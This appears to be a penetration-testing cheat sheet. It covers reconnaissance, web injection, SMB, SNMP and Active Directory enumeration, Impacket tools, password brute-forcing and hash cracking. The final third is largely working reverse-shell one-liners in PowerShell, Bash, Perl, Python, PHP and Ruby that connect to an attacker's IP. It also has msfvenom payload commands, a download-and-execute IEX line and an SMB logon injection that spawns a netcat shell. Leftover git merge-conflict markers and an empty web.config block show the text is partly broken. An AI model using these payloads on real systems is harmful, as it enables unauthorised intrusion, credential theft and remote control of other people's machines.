Penetration Testing Cheat Sheet







Recon:

#Companies
https://github.com/laramies/metagoofil

#Port Knocking
Great Read - https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-5-Port-Knocking.pdf
Using nmap - https://wiki.archlinux.org/index.php/Port_knocking

IPv6:

#Explaination - https://www.youtube.com/watch?v=1UGxjqTnuyo&t=330s (Sneaky - HTB)
Linux - IPv6 is calculated by the MAC address.
MAC address to IPv6 link-local address calculator - http://www.sput.nl/internet/ipv6/ll-mac.html
ip6tables -L #IPv6 firewall rules

#Install it:
THC-IPv6 Attack Tool - https://packetstormsecurity.com/groups/thc/

#Host Discovery (including windows boxes)
./alive6 [INTERFACE_NAME] -e ff02::1	#ping all multicast address. "ICMP parameter problem" indicates on a windows box.
ip -6 neigh|awk '{print $1}' > [IPv6_ADDRESSES_FILE]
nmap -6	-n -iL [IPv6_ADDRESSES_FILE]	#Scan those targets

#Host Discovery (method 2 - linux boxes only):
ping [TARGET_IP]
arp -n	#grab target's MAC and convert it to IPv6
ping6 [IPv6]%[INTERFACE_NAME]	#Example: ping6 fe80::250:56ff:feaa:4146%tun0

#Host Discovery (method 3 - linux boxes only):
ping6 -I [INTERFACE_NAME] ff02::1	#ping all multicast address
ip -6 neigh	#IPv6 "ARP table"

Subdomain fuzzing:

#https://wfuzz.readthedocs.io/en/latest/user/basicusage.html
#https://wfuzz.readthedocs.io/en/latest/user/advanced.html

wfuzz -w gobuster_wordlist_443_http -u https://intra.redcross.htb -H "Host: FUZZ.redcross.htb" --hc 400,301
#if host is not resolved, add the name to /etc/hosts file.

Any web port(s) for further enumeration?

"Cewl" the target and "Gobust" using the output wordlist.

cewl -d 10 -m 1 -w cewl_out --with-numbers -a --meta_file cewl_metadata_out -e --email_file cewl_emails_out [URL]

- Nikto / gobust the target.

- Check for both HTTP/HTTPS. #Ex. https://[IP_ADDRESS]:80/

- (HTTPS) Check the certificate issuer. Sometimes email addresses are exposed.

- Check the Page Source, Inspect elements, view cookies, tamper data, use curl/wget (Use ZAP ;) )

- Search repository online (like GitHub) if the application used is open source: this may assist in site enumeration and guessing versions etc.!

- Check HTTP Options

- Check for Input Validation in forms (like: 1′ or 1=1 limit 1;# AND 1′ or 1=1–)

NULL or null	(Possible error messages returned)
‘ , ” , ; , 	(Used to find command execution vulnerabilities)
../	(Directory Traversal Vulnerabilities)

#Fuzz?
/usr/share/wordlists/wfuzz/Injections/SQL.txt

- Wordpress?

wpscan --url [URL] --enumerate ap	(Enum plugins)
wpscan --url [URL] --enumerate u	(Enum users)

- Joomla?

#install https://github.com/rastating/joomlavs
joomlavs.rb -u [TARGET_URL] --scan-all	(Check -h option for help)

SQL Injection

<<<<<<< HEAD
=======
#Basic course - https://www.youtube.com/watch?v=BR-VeQUoRCw&list=PLZOToVAK85Mr4CzRimmw4KD84yUjkEAEw
>>>>>>> 545754cd2725e66c2c80f598e81692ae116bab57
#Intro
http://www.anonhack.in/2015/09/sql-injection-part-1/

#Manual method: 
Use "Fuzz" in zaproxy to do that (1 thread!).
Use /usr/share/wordlists/wfuzz/stress/alphanum_case_extra.txt. (in Kali)

1) Error Based SQL Injection
http://www.anonhack.in/2016/01/sql-injection-the-guide/
http://www.anonhack.in/2017/06/sql-injection-part-3-identifying-string-or-numeric/
http://www.anonhack.in/2018/04/sql-injection-part-4getting-admin-password/

2) Time Based SQL Injection - Follow the "Show Errors" tab in zaproxy. there will be the correct values (all the "Read timed out" when I used sleep(5)).
http://www.anonhack.in/2018/07/time-based-blind-sql-injection-on-mysql-how-to-do-manually/
https://www.ethicalhackx.com/time-based-blind-sql-injection-mysql-manually/


3) Boolean Based SQL Injection
http://www.anonhack.in/2018/07/boolean-based-blind-sql-injection-how-to-do-manually/

Cheat Sheets:

* https://websec.ca/kb/sql_injection#MSSQL_Default_Databases

* http://www.securityidiots.com/Web-Pentest/SQL-Injection

* http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

* https://slack3rsecurity.wordpress.com/2011/11/14/sql-injection-cheatsheet/

* https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

* https://github.com/Gandosha/OSCP/blob/master/Documents/SQL%20Injection%20Cheatsheet.md


Examples:

* Boolean Blind SQL Injection - https://0xdf.gitlab.io/2019/01/12/htb-oz.html / https://www.youtube.com/watch?v=4LM_EIehbsU

* Time Based SQL Injection - https://www.youtube.com/watch?v=mphLv1ZCMf8

* Error Based + upload shell https://www.youtube.com/watch?v=vPgMi7R9tvs / https://www.youtube.com/watch?v=0xrDZi8Qq0A

* From MSSQL to RCE - https://www.tarlogic.com/en/blog/red-team-tales-0x01/


Cross Site Scripting (XSS)

#Great read - https://excess-xss.com/
#XSS Filter Evasion Cheat Sheet - https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Basic_XSS_Test_Without_Filter_Evasion
#XSS Filter Evasion eval(String.fromCharCode() method - http://jdstiles.com/java/cct.html

#Example - grabbing admin's cookie
ncat -lvnp 9002


XML External Entity (XXE) Injection

https://gandosha.github.io/XXE_injection
#Great read - https://gardienvirtuel.ca/fr/actualites/from-xml-to-rce.php

Cross Site Request Forgery (CSRF)

https://gandosha.github.io/csrf_examples (from Mutillidae II)

Local File Inclusion (LFI)

#Great read: 
http://www.securityidiots.com/Web-Pentest/LFI/guide-to-lfi.html		#LFI guide
https://highon.coffee/blog/lfi-cheat-sheet/	#PHP wrappers etc
https://resources.infosecinstitute.com/local-file-inclusion-code-execution/#gref	#LFI to code execution

DNS port discovered?

#Great read - http://www.securityidiots.com/Web-Pentest/Information-Gathering/Part-4-DNS-information-Gathering-with-DIG.html

whois domain-name-here.com			#WHOIS enumeration
dig a domain-name-here.com @nameserver 		#Perform DNS IP Lookup
dig mx domain-name-here.com @nameserver		#Perform MX Record Lookup
dig axfr domain-name-here.com @nameserver	#Perform Zone Transfer (linux)
nslookup -> set type=any -> ls -d blah.com	#Perform Zone Transfer (windows)

Are there any NETBIOS, SMB, RPC ports discovered?

smbmap -H [IP_ADDRESS]	#Map smb shares using null sessions

Example: 
smbmap -H 10.10.10.100 -s Replication -R Replication	#Recursively list dirs in "Replication" share (HTB Active)
smbmap -R Replication -A Groups.xml -q -H 10.10.10.100	#Define a file name pattern (regex) that auto downloads the file "Groups.xml" (usually it downloads to /usr/share/smbmap/ dir)

#Permission Check	(Example:HTB_SIZZLE https://www.youtube.com/watch?v=YVhlfUvsqYc&t=890s)
smbcacls -N "//[IP_ADDRESS]/[SHARE]" [DIR]

#Do you have write permissions? Try to upload SCF
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

rpcclient [IP_ADDRESS] -U “” -N (For more info - https://attackerkb.com/Windows/rpcclient)	#connect to share
rpcinfo -p [IP_ADDRESS]	(rpcinfo: What services are running?)

#NTLMv2 Discovered?
* Check for SMB signing that may prevent this attack - https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/
* Perform a SMB relay - https://cqureacademy.com/blog/penetration-testing/smb-relay-attack

Is portmapper running? Is rlogin running? Or NFS or Mountd? - http://etutorials.org/Networking/network+security+assessment/Chapter+12.+Assessing+Unix+RPC+Services/12.2+RPC+Service+Vulnerabilities/

showmount -e [IP_ADDRESS]	#apt install nfs-common (installation on kali)
mount [IP_ADDRESS]:[PATH] /mnt/[PATH]	#Mount it (linux)

Can you mount the smb share locally?

mount -t cifs "//[IP_ADDRESS]/[SHARE]" [LOCAL_DIR] -o username="guest",password=""
rlogin [IP_ADDRESS]
smbclient -L \\[IP_ADDRESS] -U “” -N
smb: \> logon "/='nc [ATTACKERS_IP] [ATTACKERS_PORT] -e /bin/sh'"	(gain shell)
nbtscan -r [IP_ADDRESS]
net use \\[IP_ADDRESS]\$Share “” /u:””
net view \\[IP_ADDRESS]

SQL open ports?

sqsh -S [IP_ADDRESS] -U [USERNAME] -P [PASSWORD]	#connect to the sqlserver (interacting with mssql example - https://www.youtube.com/watch?v=l-wzBhc9wFc)
[Gui for multiple types of databases] dbeaver

Any SMTP ports available?

User enum (example: megabank.com mail server)

root@Pizduk:~/Desktop/CTFs/Reel# telnet [IP_ADDRESS] 25
Trying [IP_ADDRESS]...
Connected to [IP_ADDRESS].
Escape character is '^]'.
220 Mail Service ready
HELO gandosha.ru
250 Hello.
MAIL FROM: 
250 OK
RCPT TO: 
250 OK
RCPT TO: 
550 Unknown user
quit
Connection closed by foreign host.

smtp-user-enum -M VRFY -U [WORDLIST_PATH] -t [IP_ADDRESS]	(verify if username exists)
smtp-user-enum -M EXPN -U [WORDLIST_PATH] -t [IP_ADDRESS]	(verify if username is valid)

* Recommended wordlists at /usr/share/metasploit-framework/data/wordlists & /usr/share/seclists/Usernames (Kali)


How about SNMP ports?

SNMP IPv6 Enumeration - https://github.com/trickster0/Enyx
Default Community Names: public, private, cisco, manager

Enumerate MIB:

1.3.6.1.2.1.25.1.6.0 System Processes

1.3.6.1.2.1.25.4.2.1.2 Running Programs

1.3.6.1.2.1.25.4.2.1.4 Processes Path

1.3.6.1.2.1.25.2.3.1.4 Storage Units

1.3.6.1.2.1.25.6.3.1.2 Software Name

1.3.6.1.4.1.77.1.2.25 User Accounts

1.3.6.1.2.1.6.13.1.3 TCP Local Ports


onesixtyone – c [COMMUNITY_ LIST_FILE] -I [IP_ADDRESS]
onmpwalk -c [COMMUNITY_STRING] -v[VERSION] [IP_ADDRESS]
root@kali:~# snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2	(Eg: enumerating running processes)

FTP ports discovered?

Is anonymous login allowed? If yes, is directory listing possible? Can a file be ‘get’ or ‘send’?

ftp [IP_ADDRESS]
ftp> mget *	#get all the files in current directory

wget --mirror 'ftp://[FTP_USER]:[FTP_USER_PASSWORD]@[DOMAIN_NAME]'	#get all the content in that ftp server
wget --no-passive 'ftp://[FTP_USER]:[FTP_USER_PASSWORD]@[IP_ADDRESS]'	#get all the content in that ftp server

Active Directory stuff

#Great Read
https://adsecurity.org/

GetADUsers.py	#get active directory's users (part of Impacket - requires credentials)

Example:
GetADUsers.py -dc-ip 10.10.10.100 active.htb/svc_tgs

#Bloodhound - https://www.youtube.com/watch?v=lxd2rerVsLo
Run the ingestors from the compromised windows box or as the compromised user on a NOT a domain joined machine (in cmd - "runas /netonly /[COMPROMISED_USER]:[COMPROMISED_USER_PASSWORD] cmd" --> than run sharphound.exe -h from the cmd that just opened). 
Run "neo4j start" before importing the created zip file.

Examples:
HTB Reel - https://www.youtube.com/watch?v=ob9SgtFm6_g&t=2122s
HTB Active - https://www.youtube.com/watch?v=jUc1J31DNdw&t=1105s

#LDAP enumeration
ldapsearch -x -h [HOSTNAME] -s base namingcontexts	

WinRM

#WinRM ruby
https://github.com/WinRb/WinRM (Example: https://www.youtube.com/watch?v=YVhlfUvsqYc&t=1680s)

NTLM

#Great read - https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm
#Great vid - https://www.youtube.com/watch?v=jJS5PTrhQpE
#Why NTLM sucks?
https://www.youtube.com/watch?v=8DnL2pnulVk
https://www.youtube.com/watch?v=17DwDrnURj8

Kerberos

#Great vid - https://www.youtube.com/watch?v=kp5d8Yv3-0c
#Great read - https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-kerberos

Impacket

#Remote Execution
psexec.py: PSEXEC like functionality example using RemComSvc(https://github.com/kavika13/RemCom).
smbexec.py: A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
atexec.py: This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy.
dcomexec.py: A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.

#Kerberos
GetTGT.py: Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user.
GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.
GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
ticketer.py: This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc.
raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.

#Windows Secrets
secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp directory) and read the rest of the data from there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state.
mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi.

#Server Tools/MiTM Attacks
ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB and HTTP Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc.). The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. create a user through LDAP) or can be executed in SOCKS mode. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy.
karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
smbserver.py: A Python implementation of an SMB server. Allows to quickly set up shares and user accounts.

#WMI
wmiquery.py: It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32_account).
wmipersist.py: This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified.

#Known Vulnerabilities
goldenPac.py: Exploit for MS14-068. Saves the golden ticket and also launches a PSEXEC session at the target.
sambaPipe.py: This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the -so parameter.
smbrelayx.py: Exploit for CVE-2015-0005 using a SMB Relay Attack. If the target system is enforcing signing and a machine account was provided, the module will try to gather the SMB session key through NETLOGON.

#SMB/MSRPC
smbclient.py: A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It's an excellent example to see how to use impacket.smb in action.
getArch.py: This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
rpcdump.py: This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints.
ifmap.py: This script will bind to the target's MGMT interface to get a list of interface IDs. It will used that list on top of another list of interface UUIDs seen in the wild trying to bind to each interface and reports whether the interface is listed and/or listening.
opdump.py: This binds to the given hostname:port and MSRPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call.
samrdump.py: An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service.
services.py: This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change.
netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers
reg.py: Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility.
lookupsid.py: A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.

#MSSQL / TDS
mssqlinstance.py: Retrieves the MSSQL instances names from the target host.
mssqlclient.py: An MSSQL client, supporting SQL and Windows Authentications (hashes too). It also supports TLS.

#File Formats
esentutl.py: An Extensibe Storage Engine format implementation. Allows dumping catalog, pages and tables of ESE databases (e.g. NTDS.dit)
ntfs-read.py: NTFS format implementation. This script provides a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
registry-read.py: A Windwows Registry file format implementation. It allows to parse offline registry hives.

#Other
GetADUsers.py: This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes.
mqtt_check.py: Simple MQTT example aimed at playing with different login options. Can be converted into a account/password brute forcer quite easily.
rdp_check.py: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation just to reach CredSSP auth. This example test whether an account is valid on the target host.
sniff.py: Simple packet sniffer that uses the pcapy library to listen for packets in # transit over the specified interface.
sniffer.py: Simple packet sniffer that uses a raw socket to listen for packets in transit corresponding to the specified protocols.
ping.py: Simple ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. If the remote host is up, it should reply to the echo probe with an echo-reply packet.
ping6.py: Simple IPv6 ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host.

Password Cracking / Brute Forcing

#Identifying Hash: 
hash-identifier

#For linux, first combine passwd & shadow files:  
unshadow [PASSWD_FILE] [SHADOW_FILE] > unshadowed.txt

#Then, use John on the unshadowed file using a wordlist or rules mangling: 
john –rules –wordlist=[WORDLIST_FILE] unshadowed.txt

#https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-web-form-passwords-with-thc-hydra-burp-suite-0160643/

hydra -L [USERNAME_FILE] -P [PASSWORD_FILE] -v [IP_ADDRESS] ssh -t 4	#Brute force ssh
hydra -l Admin -P /usr/share/wordlists/rockyou.txt 10.10.10.6 http-post-form "/torrent/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid login, please try again" -V	#Brute force login form example

Using hashcat for cracking hashes:

# Go to - https://hashcat.net/wiki/doku.php?id=example_hashes to know what module to use in hashcat (Generic hash types)
# Or "hashcat --example-hashes" in terminal for offline support
hashcat -m [MODULE_NUMBER] -a 0 [HASH_FILE] [WORDLIST_FILE]

Encrypted files:

gpp-decrypt	#crack Group Policy Preferences (GPP) password (cpassword entry in Groups.xml file)

Example:
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Compressed files:

fcrackzip -D -v -p [WORDLIST_FILE] [ZIP_FILE]

Packet Sniffing

Use Wireshark / tcpdump to capture traffic on the target host:

#Capture traffic via SSH and present it on attacker's wireshark without touching disk
ssh [USER]@[TARGET_IP] "[TCPDUMP_PATH] -i [INTERFACE] -U -s0 -w - 'not port 22'" | wireshark -k -i -

SSH

#Basics - https://www.digitalocean.com/community/tutorials/ssh-essentials-working-with-ssh-servers-clients-and-keys
#RsaCtfTool - retreive private key from weak public key and/or uncipher data - https://github.com/Ganapati/RsaCtfTool

Scripting Languages

Powershell

- Basic syntax - https://www.tutorialspoint.com/powershell/index.htm

- Modules with PowerShell - https://resources.infosecinstitute.com/powershell-for-pentesters-part-4-modules-with-powershell/#gref

- PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection - https://adsecurity.org/?p=2921

- Kerberoast - https://pentestlab.blog/2018/06/12/kerberoast/

- unicron.py POC - https://www.youtube.com/watch?v=RndxEdhY_tQ

#PowerShell Executables File System Locations on 64-bit Windows:	(try also %SystemRoot% --> C:\windows)
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe		#32-bit (x86) PowerShell executable
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe		#64-bit (x64) Powershell executable
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe		#32-bit (x86) Powershell ISE executable
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell_ise.exe		#64-bit (x64) Powershell ISE executable
%SystemRoot%\SysNative\WindowsPowerShell\v1.0\powershell.exe		#sysnative lets you run 64 bit system executables from 32 bit code.

#PowerShell Executables File System Locations on 32-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe		#32-bit (x86) PowerShell executable
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell_ise.exe		#32-bit (x86) Powershell ISE executable

#Reverse powershell
powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('[IP_ADDRESS]',[PORT]);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"

#Reverse powershell
$client = New-Object System.Net.Sockets.TCPClient("[IP_ADDRESS]",port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()	(reverse powershell)
(Optional: in cmd or "cmd /c powershell -c "[reverse_powershell]"")

#Syntax
Cmdlets are small scripts that follow a dashseparated verb-noun convention such as "Get-Process".

#Similar Verbs with Different Actions:
New - Creates a new resource
Set - Modifies an existing resource
Get - Retrieves an existing resource
Read - Gets information from a source, such as a file
Find - Used to look for an object
Search - Used to create a reference to a resource
Start - (asynchronous) begin an operation, such as starting a process
Invoke - (synchronous) perform an operation such as running a command

#Parameters:
Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.

#Objects:
The output of most cmdlets are objects that can be passed to other cmdlets and further
acted upon. This becomes important in pipelining cmdlets.

#Commands
C:\> powershell -c "[command]"															#PowerShell cmdlets can be called from cmd.exe
PS C:\> $psversiontable																#Version of powershell
PS C:\> Get-Command / PS C:\> gcm *[string]*													#To get a list of all available cmdlets
PS C:\> Get-Command Set*															#Get-Command supports filtering. To filter cmdlets on the verb set
PS C:\> Get-Command –Verb Set
PS C:\> Get-Command *Process															#Or on the noun process
PS C:\> Get-Command –Noun process
PS C:\> Get-Help																#To get help with help
PS C:\> Get-Help [cmdlet]															#To read cmdlet self documentation
PS C:\> Get-Help [cmdlet] -detailed														#Detailed help
PS C:\> Get-Help [cmdlet] -examples / PS C:\> help [cmdlet] -examples										#Usage examples
PS C:\> Get-Help [cmdlet] -full															#Full (everything) help
PS C:\> Get-Help [cmdlet] -online														#Online help (if available)
PS C:\> Get-Alias																#To list available aliases (alias alias)
PS C:\> alias [unknown alias]															#To expand an alias into a full name
PS C:\> alias gcm					
PS C:\> Get-Help [cmdlet] -examples
PS C:\> [cmdlet] | Get-Member / PS C:\> [cmdlet] | gm												#Shows properties & methods
PS C:\> ForEach-Object { $_ } / PS C:\> [cmdlet] | % { [cmdlet] $_ }										#Takes each item on pipeline and handles it as $_
PS C:\> Select-String / PS C:\> sls –path [file] –pattern [string]										#Searches for strings in files or output, like grep
PS C:\> Get-Process | Format-List –property name												#Piping cmdlet output to another cmdlet
PS C:\> ls *.txt | ForEach-Object {cat $_}													#ForEach-Object in the pipeline (alias %)
PS C:\> Get-Process | Where-Object {$_.name –eq "notepad"}											#Where-Object condition (alias where or ?)
PS C:\> 1..10																	#Generating ranges of numbers and looping
PS C:\> 1..10 | % {echo "Hello!"}
PS C:\> $tmol = 42																#Creating and listing variables
PS C:\> ls variable:
PS C:\> Get-ChildItem																#Get a directory listing (ls, dir, gci)
PS C:\> Copy-Item src.txt dst.txt														#Copy a file (cp, copy, cpi)
PS C:\> Move-Item src.txt dst.txt														#Move a file (mv, move, mi)
PS C:\> Select-String –path c:\users\*.txt –pattern password											#Find text within a file
PS C:\> ls -r c:\users\*.txt -file | % {Select-String -path $_ -pattern password}								#Find text within a file
PS C:\> Get-Content file.txt															#Display file contents (cat, type, gc)
PS C:\> Get-Location																#Get present directory (pwd, gl)
PS C:\> Get-Process																#Get a process listing (ps, gps)
PS C:\> Get-Service																#Get a service listing
PS C:\> ls | Format-List –property name														#Formatting output of a command (Format-List)
PS C:\> ls –r | Out-Host -paging														#Paginating output
PS C:\> Get-FileHash -Algorithm SHA1 file.txt													#Get the SHA1 hash of a file
PS C:\> Get-Process | Export-Csv procs.csv													#Exporting output to CSV
PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100 10.10.10.$_ | Select-String ttl}							#Conduct a ping sweep
PS C:\> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null				#Conduct a port scan
PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://[IP_ADDRESS]:[PORT]/[FILE]","[FILE]")						#Fetch a file via HTTP (wget in PowerShell - any version)
PS C:\> IEX(New-Object Net.WebClient).downloadString('http://[IP_ADDRESS]:[PORT]/[FILE]')							#"Wget" something and execute it
PS C:\> Invoke-WebRequest "https://example.com/archive.zip" -OutFile "C:\Windows\Temp\archive.zip"  						#Fetch a file via HTTP (wget in PowerShell 4.0 & 5.0)
PS C:\> Get-ChildItem "C:\Users\" -recurse -include *passwords*.txt										#Find all files with a particular name
PS C:\> Get-HotFix																#Get a listing of all installed Microsoft Hotfixes
PS C:\> cd HKLM:\																#Navigate the Windows registry
PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run									#List programs set to start automatically in the registry
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PSFTW!"))							#Convert string from ascii to Base64
PS C:\> Get-NetFirewallRule –all														#List and modify the Windows firewall rules
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress [IP_ADDRESS]				
PS C:\> New-PSDrive -Name [SHARE_NAME_TO_BE_CREATED_ON_WIN_BOX] -PSProvider FileSystem -Root "\\[ATTACKERS_IP_ADDRESS]\[SHARE_TO_MOUNT]"	#Mount attacker's share on a win machine for moving files (use impacket-smbserver on attacking box - impacket-smbserver [SHARE_NAME] [PATH_TO_SHARE]) 
PS C:\> Get-Content -Path "hm.txt" -Stream "root.txt"												#Reading the alternate data stream of a file. Example - hm.txt:root.txt:$DATA
PS C:\> Test-NetConnection -ComputerName [IP_ADDRESS] -Port [Port]										#Test connection to a specific port (boolean)
PS C:\> PowerShell -Exec Bypass															#Bypass execution policy

#Web.config upload technique (see page source ;)


   
      
         
      
      
         
            
               
            
            
               
            
         
      
   
   



Bash

setsid /bin/bash -i >/dev/tcp/[ATTACKER's_IP_ADDRESS]/[ATTACKER's_PORT] 0<&1 2>&1	(reverse shell - "setsid" is used to create a new session)
bash -i >& /dev/tcp/[ATTACKER's_IP_ADDRESS]/[ATTACKER's_PORT] 0>&1	(reverse shell)
msfvenom -p cmd/unix/reverse_bash LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.sh	(reverse shell using msfvenom)

Perl

perl -e 'use Socket;$i="[ATTACKER's_IP_ADDRESS]";$p=[ATTACKER's_PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'	(reverse shell)
msfvenom -p cmd/unix/reverse_perl LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.pl	(reverse shell using msfvenom)
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,":");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER's_IP_ADDRESS]",[ATTACKER's_PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'	(reverse shell)
msfvenom -p cmd/unix/reverse_python LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.py	(reverse shell using msfvenom)

PHP

Weevely (default on Kali)
php -r '$sock=fsockopen("[ATTACKER's_IP_ADDRESS]",[ATTACKER's_PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'	(reverse shell)
	(invoke cmd - usage: [URL]?cmd=[COMMAND])
msfvenom -p php/meterpreter_reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.php && echo ' temp && mv temp shell.php && echo '?>' >> shell.php	(reverse shell using msfvenom)

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f asp > shell.asp	(reverse shell using msfvenom)

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f war > shell.war	(reverse shell using msfvenom)

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.jsp	(reverse shell using msfvenom)

Ruby

ruby -rsocket -e'f=TCPSocket.open("[ATTACKER's_IP_ADDRESS]",[ATTACKER's_PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'	(reverse shell)
